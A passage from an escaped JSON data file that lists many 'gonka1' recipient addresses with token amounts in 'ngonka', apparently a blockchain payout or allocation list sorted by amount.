\"amount\": \"1084494242094\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12pwvrkm7vqkme62y0u6pgms79w8eqyt57s2vcx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1081514356117\"\n }\n ]\n },\n {\n \"recipient\": \"gonka18qd8fhk9uj0zk5xlgnsfkpj78ed65sptf0jkwr\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1077905106645\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1x5zn0e5n9c8qjjjt38g0wd05px89q5pxaxqpq7\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1075980413077\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1rw9fhpnf6pnlwzpfq836w89qmu6v7kfxs9xmvn\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1075006911309\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ajvs7j8wlgjy8d3kjad520am6jm3a4alj7k4jq\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1070942320028\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1l45efpupwqw9uky3gjwy35mwae9jwgffuqpm7s\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1067617076850\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1j6dthe47wll5rhf2nn6r7xw9zy2luah2ant9pf\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1050721942469\"\n }\n ]\n },\n {\n \"recipient\": \"gonka129ks6ra4ddy8ppsfk0gr8yu24sqk3nanmm34cs\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1036348256503\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1xg25gmn8uzeyzqqrchx6mfz379mvg43zsvj0y3\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1035165938494\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10kjjhgzngn2yj9fgrcfu4wf5lj6xv05u7xhz53\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1032271654590\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1qpvpnr3anscj0tsnm64fus27xhnx20lf4rvjeq\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1011681975315\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1trz6e3rczlp4ma749v8zk6xng9jmcnrvnwv4rh\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1011128733862\"\n }\n ]\n },\n {\n \"recipient\": \"gonka16p9vx68hfr5vpy6s59rvrz85le5dq22uymukgv\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1010920650828\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1tfds6hy4tge3p3pkzcj38qjnsgpadjhjk5f3ga\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1006193213519\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1eg6tyw49ujmk7mgwqzyhzzyzcupzhw7fhku0qz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1003350070071\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14g78ez2zy08k8sssue483zmfpgd4qut8zcwlqc\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1003067493292\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1qjdt3qykdrka2am7s5rtrze44f7y8vccegjc70\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1002860190000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ex0ck58q3elelsysl3r9qwjljs7yn2yd65kr6h\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"984546173428\"\n }\n ]\n },\n {\n \"recipient\": \"gonka105qfr38n0rz0d2r8hererw9ws5qx7njcujezvu\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"968810021710\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1k3aj9lxjllcslaus7a2ha5d3pla4rre67ksnsc\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"963915416268\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1y07fqanen3dwgr5dku36gy8lfk3uxtj000t38p\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"960156417708\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19f8zl7a979j0z90r5k0pajhua2y6ajtykxe8dk\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"936394415904\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1y3r32jhy6s4ge2sl5ly5s90gc0r9d2n4wmzvu9\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"920045323759\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1rn5nud8367cnspgas0dmtq2plxkacjsttqtdy8\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"916211818671\"\n }\n ]\n },\n {\n \"recipient\": \"gonka13jelpte0qx5f0up3pzmmgnnqj5877rwfs08n7q\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"915755003150\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1gz6d9j834xvhvyt7c67ux6egugns7dlc5dzqds\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"912883054093\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1c6y9p4w87equy52va4us3qzycz9w28ua9693gl\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"893219350563\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10g4ak0ku3lezt0q3kk346updcyyz83369pqtgx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"883688223962\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1nq396dmfz2rntud8urt7ddyc7ysyg6rlax5vyc\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"880740116277\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1c8pemd8czpgeg69cu95y58fstuquw93uwqml7f\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"879178934834\"\n }\n ]\n },\n {\n \"recipient\": \"gonka100xav7dpl82gxrtg72yjhpz2zn6f24gv035ted\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"866376648961\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14zg378dzun4p2zhyuaq59y2q0e340wzahgz97q\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"861590303143\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1wkgawwdzj623ss8eywayzdj6qcgr2llygactje\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"860922847224\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1afe8squhg6aqwuts34wsyuu3rmn349hqqp6tqf\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"838808955066\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1jqwrpyqn34jx0ermlus46f87epayqxtakhyu5u\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"838114379054\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12gc47yq8m7rnsa3aucq8mlzm7men8jaac7qkkz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"834890948011\"\n }\n ]\n },\n {\n \"recipient\": \"gonka167m8t885t8j4wr8qmh652x9d2jvhtdk4f367fd\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"827209263037\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14nurupejmd8vgu806jx4qpf6jfs55mrlc6umem\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"824722902081\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1y0y9fcfhlhuz76falhdekx8w56pk88jaxssydu\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"823559566189\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1k6p754pyhxud2399knyccgjpjvdafj2u9xlgyf\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"811589446121\"\n }\n ]\n },\n {\n \"recipient\": \"gonka106prclvpt5lgl9p20ql8kr6ap8vt0un535slvu\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"808642141902\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ehqrd2828q8zrkn4qafym30eky56krezucxxhz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"807768895044\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1p209mlvngz8hu0p5ff7dsjzqhjpx4jzn6k652r\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"805071964127\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1662dun8ufuvjfa652th9farq6devh57p0v4r3y\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"803355958966\"\n }\n ]\n },\n {\n \"recipient\": \"gonka16msrxqwfedlll09hdwv0zmma6wttxx0wqqlt0y\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"781828824066\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12fazh3etpdx947ldwen4wudnds7wu4kjp5vd76\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"775232433739\"\n }\n ]\n },\n {\n \"recipient\": \"gonka17cnuuvplky4ck8hwj8smh6he6tgq6su45r5v5y\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"774143127202\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12hzd9zlz3tgslky477d4wa0jlwacv4nj9vxlmj\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"771984739406\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1hxtg78hm0lneuygmgzanxmasn4x5rykwmmle7z\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"768342112553\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14sk8te3wu4zh9dal9yd9tm3pd2qerdru4aqm05\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"764375908138\"\n }\n ]\n },\n {\n \"recipient\": \"gonka13tfjp70mhjxhdl3kjweuln07zu6y9ed3gr9k6y\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"763220498896\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1p6wekfevflq2h4rx9jekc86qaqa4ussw8legsd\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"756975902050\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1x2lalvrn6cucvzwfcd5cwwhggfuxqckw8k0zrq\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"755267022910\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1369ax8kr4ma8zu708jr3x2r902lfs8tcguyxl8\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"755258914621\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1x7zh2277spp7jfqjhv0g5mnezg290xdr4kpfnk\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"752017682985\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1lhycnwdtc6txcpvdvz2wym3zpdhlrj6w2z4evj\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"749894259281\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1eaf9r3qqnweqx23z0ahh77legtv2gnk3wwdwl2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"739075526779\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1v5ggga7lslfg2e57m9anxud40v2s4t9dw8yj68\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"726622286387\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10e7qay76svkulq7wx3mez60jvdxj5pmjynmyrz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"716814751592\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1hhw376qvn4wuu424r9ueflvkv7fzzat9wuuvjg\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"714039075269\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1j4gwddnpf9h6n6899znss7tprqzxpwpedk7ayf\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"712231234908\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10ux22dq9a5dn5t4v370vzkww874yc6pmudxjen\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"710726835542\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1vmwqf4mkl4ucqnrgjmnsl694hktepaecuvvyz0\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"698413545705\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1mdy7nlecw4xaqdxmeh3qlqzakg9ftge9szfqgg\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"696337292930\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ktl3kkn9l68c9amanu8u4868mcjmtsr5tgzmjk\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"694260787860\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1lmh6fy92ac2wldnpugg3t3xhp8lnqzgq0j0efg\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"693656303863\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ccgvme9cpkwqes65jqgcmy09dtze9cp933cm0p\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"693235305004\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1g9n5yek0sk84qpx0lwc7hq6p3v2fqr5ggml3gg\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"684113588212\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1y4kyhqy022gt4kklxxflgqkutnx96ssww66zg6\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"668334873066\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1vz2jg42w39l63dmvmjqdsnxx0ywnzt9nzypdy7\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"667372982192\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19yqs6l5s2wl908fswm58zptxvkvg82dtynwuku\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"660800031574\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1g884r7q58wptvlcpuk09gvw9j5uhwadr4qjexs\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"657348636670\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1w3ewq7swwdxx8fsht8tl250f7qv44edhlltrh8\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"642705050439\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1h2c3mkxq4xej7dmsp5hcva8msn78v07xuqhl90\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"641937320557\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14cqs3cnsahrr52end3twr7sq3rhtwnj8j8pyzv\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"641595530709\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1l289k89zulv5ml63ursf975cvmr0j85k8ls46t\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"636049841835\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10cyq8zuplcwr5ntesxn52wp5ky3a7c3nrqdce8\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"634870695105\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1j62evzhlg556krdfhynpduchyl0px8qga8wfut\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"633074416696\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14fn68sulr6v6l78kvur9u6yw5lwurtqcrqkh93\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"618164993040\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1h796gh5vnp0l3k0klvzk9rw9240223njss8g5y\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"617132119663\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1zsnpv9htjtq35ux04hal5l8dnlgah22zl6rk3h\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"616305081132\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1lqv96tny8a0344e6jfgxk500q5ct7zy9ekz49m\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"613560930734\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1aev99sylsnfzyu2dwlnw6f9lugjkvav7kxqp0k\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"605263625720\"\n }\n ]\n },\n {\n \"recipient\": \"gonka140f97y9dsnjc2cdusp0hzx73tk693ycg6mkqy5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"598119300722\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1hhx6pvs6n4ehgv4wzz7h9f68t8hm96t9fq0ydd\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"594067847856\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1fp8zl07qccdzuekns2q55jgmcag40kjrm8z0z9\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"588451915703\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1frfr2z4lclq0wjqsrstnhm48rmvkmd0tfsssvk\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"586439098001\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1chktrhryd3zpxcwtw595wg9mxgj0wwwmzsule5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"583192531647\"\n }\n ]\n },\n {\n \"recipient\": \"gonka163ug8zucqeag9v5ey4au34jqt7vejkmxsg74eu\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"578583751996\"\n }\n ]\n },\n {\n \"recipient\": \"gonka147rfj8kg892wfqvqrsl39d3h26k002cv54qxv7\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"576363693008\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ndlfjnp5d7eruyrhjvn6uape3jp630qld7l9yl\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"570320457368\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1fxdt48vp78uxa7apuuamv4clwafxagnjg9eulc\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"566039434935\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1elw9xd79mpsrt7jqwkweg6yv02nvda49xhcej2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"564618912568\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12hw8xf5rgy7fn0wt3qaxyk9gav6eu2rns25t2v\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"563676112102\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1clevcl55wh3g8fx82y9nuhcnxc8kalwf53a4gj\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"560601174860\"\n }\n ]\n },\n {\n \"recipient\": \"gonka15sptlamre9vq4m5t7pa7je5r2pc34kmlwvj0jz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"558487767957\"\n }\n ]\n },\n {\n \"recipient\": \"gonka159kqhlp3psj4r7r9646lhjpfz5apwmyen6y7m2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"552690033928\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14law208gj4hgpr04y2udwlkkxh3k9mv07evgh4\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"548618679904\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1p22v6ncqsys9fh85gdmkakpe24x2zqfyp60z5q\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"547116218730\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ujfwdfe0tq667vt5sz2pus524zpjveedp4tkj2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"545997408120\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1p60lruhxmwcsa9taa28cp4k4f6kv2kvyu5h5ep\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"545755552498\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10t67f5zxh7canhuznxg7cperec6286jjqh5pey\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"544379556981\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10t34t7tvvgrzd8npm30u8dx4uw2v9axcercgak\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"543506694568\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1sskwvat6wk6sdjjg87ne2nhexdyznxntu07vzh\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"542959627601\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1d2mfxjhvx0zm3jd05arl0d36qn2k03mc5y7zt4\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"538035929178\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1vn6hk34wme5xvqzjmm26u9snkxg7nqd490gmwq\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"535027430493\"\n }\n ]\n },\n {\n \"recipient\": \"gonka15vunu0new53m83ccvfcmkf84v7q4s8ldsjfu4y\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"530331698652\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1c40y2drwhu7px0gue02696y8ypwq2y30fxnfp5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"523388377860\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1yquunstmnn35tuc6wsrlv020ul2rnuyldqkt37\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"523050197093\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1gsarmv9gsc7g9fv9nsqtk6t0d7erxpurf5mvvl\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"521369292752\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1fryp5vn5xppkwykzjul6e2crkgxgwhl2cunrmx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"514067267997\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1mkdgh784u7la8fpexnge9wqhdw65al67f9e2k3\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"496529632342\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1043d00lu0v3fz53cut34twtcanalqg9u8vehp2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"490582260899\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1w568mv4h5c7sln767rxc8hzf6s9nhxvs7raz08\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"489475546267\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1awufch9x3slh9h9t3exa36r23rwjknswldce09\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"489140116165\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1wt8sr9jxzpec65j7zkxsgh6edk3m6r8nlf5za4\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"488209774154\"\n }\n ]\n },\n {\n \"recipient\": \"gonka18ejynmrg67epw5psqhv9stm9yrskerhvqvm5qs\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"486890528819\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1desd6924c4aturcdmwk59jpye5em3q2ze8gvjn\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"486556076647\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1crldgzq22fly44ek58rq900ef48usac8f3hpxd\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"483028542609\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1yk34z38t92jzjgq2ga7tkfpj07sf4ss3tj6n2m\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"480269006881\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1vxs4azxcym36wts0t7z5nj65ma8pnkvpmywxa0\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"479871438049\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1g99cz2zdgalleuzhwa6h3yxf5k7khjwxg423ms\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"476757658504\"\n }\n ]\n },\n {\n \"recipient\": \"gonka17tlh09e32xpv2uj433ytjnwwd8fh24jclpzm5s\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"476168080739\"\n }\n ]\n },\n {\n \"recipient\": \"gonka13r2vlppxhkmk0868yfu79hkaewrzv50luhnyev\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"475133166252\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14ayvun7uw0d9u6nk7k6w3zdeewq0p9qzqycsmv\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"472492213078\"\n }\n ]\n },\n {\n \"recipient\": \"gonka17amsnz2csvjwt3rdezys6gj7wggexxwtwt03a9\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"471319390306\"\n }\n ]\n },\n {\n \"recipient\": \"gonka18x3y80uu9s53lewvt0eu6tgc9rrvaht7yqzmw4\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"470090030109\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1290wk5as5vg4f6l5r5sl2hjr2ty24lam3l6vlj\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"469485703062\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1sun7e0re84mjf79c6euqp9v4jeujgz2x25w4e9\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"448558908153\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1eqjpx0k806kcu8tjr64zlswk9vkznsstyeq0j8\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"443820315340\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1cy5x2c2zq4s9zq5r2xz609j63mprpc9tdz8drr\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"443036488390\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1l279mvj0rgkr5gkrtkdfeetmf602lkfvkf038j\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"442746566649\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1534swfr4vp6s9zc8prhw6uzzvp9teg5pnrrs06\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"440021550150\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1975m3w08ywrc89aqcr9m8z6z70a38jf64vwte8\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"438907596251\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1lacrx7sdpwvy2fjxsldmz0w8ptk5qlegrh0qyc\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"438552332390\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1cv73drcy44vfspr9ryhdh4yxq3r4w4n7lt0a06\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"438282542671\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1g69nf83247psxptvw9clwehma6f2g4q2c08073\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"434588074767\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19f20kkuwra4z2ml74ephrallpguclua83l9zrt\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"433808055245\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1kdhuzlaahg0du24n5kyr29h3344gewmmmrs89z\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"432325812729\"\n }\n ]\n },\n {\n \"recipient\": \"gonka18hsyhvgheg5agh86jkut9d7ggkx4swq2ms3f7s\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"431488493451\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1kx5y69fvgcag8n2lvwtjq2yqu4rkqauwc0nuy8\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"431006304323\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1he4syma87py2f65rfy3zsrtw5e4nhs69t3sgjt\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"425831596283\"\n }\n ]\n },\n {\n 